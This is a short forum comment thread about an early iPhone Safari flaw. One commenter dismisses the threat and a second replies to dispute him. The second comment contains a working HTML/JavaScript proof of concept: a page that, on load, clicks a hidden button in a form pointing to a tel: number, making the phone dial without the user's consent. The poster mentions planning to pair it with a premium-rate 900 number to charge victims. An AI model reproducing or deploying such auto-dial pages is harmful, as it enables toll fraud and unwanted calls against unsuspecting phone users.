I don't want to say that this doesn't seem like a real problem because I don't know enough about it... but I'm pretty sure that the ability to call and the ability to surf with Safari, although connected by this feature, probably can't be accessed via some web application.

There are certain things that simply can't be hacked yet on the iPhone and they probably won't be. Currently, there's no easy way of compromising the Mac OS X Operating System unless someone goes out of their way to do so.

As for a lack of response to this issue, let's imagine that you just made a (arguably) great piece of technology. Everyone makes articles about tiny problems all day. The media tries to destroy it as well as they can. You get a bunch of e-mails and calls all day every day because people want you to make statements based on (arguably) nothing in particular.

You've got meetings to make and a business to run. Who cares about someone's made up threat? Supposed experts are just giving hackers ideas that won't work anyway.

I discovered this myself 2 days after the release of the iphone. Was even thinking of setting up a 900 number for iDummies. Below is just one variant

[html]
[head]
[title]Iphone Autodial[/title]
[script type="text/javascript"]
function autoClick()
{
var dial=document.getElementById('dial');
dial.click();
}
[/script]
[/head]
[body onload="autoClick();"]
[form method="GET" action="tel:1-312-555-5555"]
[input type="submit" id="dial" value="dial" style="display:none"/]
[/form]
[/body]
[/html]

K. Mitchell, yes you should have stopped in the first line. It was the only one that made sense. And if you believe for one second some security expert is blowing smoke in that the iphone can't be exploited through it's *Fully Featured* web-browser... please... And just so you know, there is nothing safe about the mini OS 10 they shoe-horned into the device. And you were right, you don't know enough about the subject.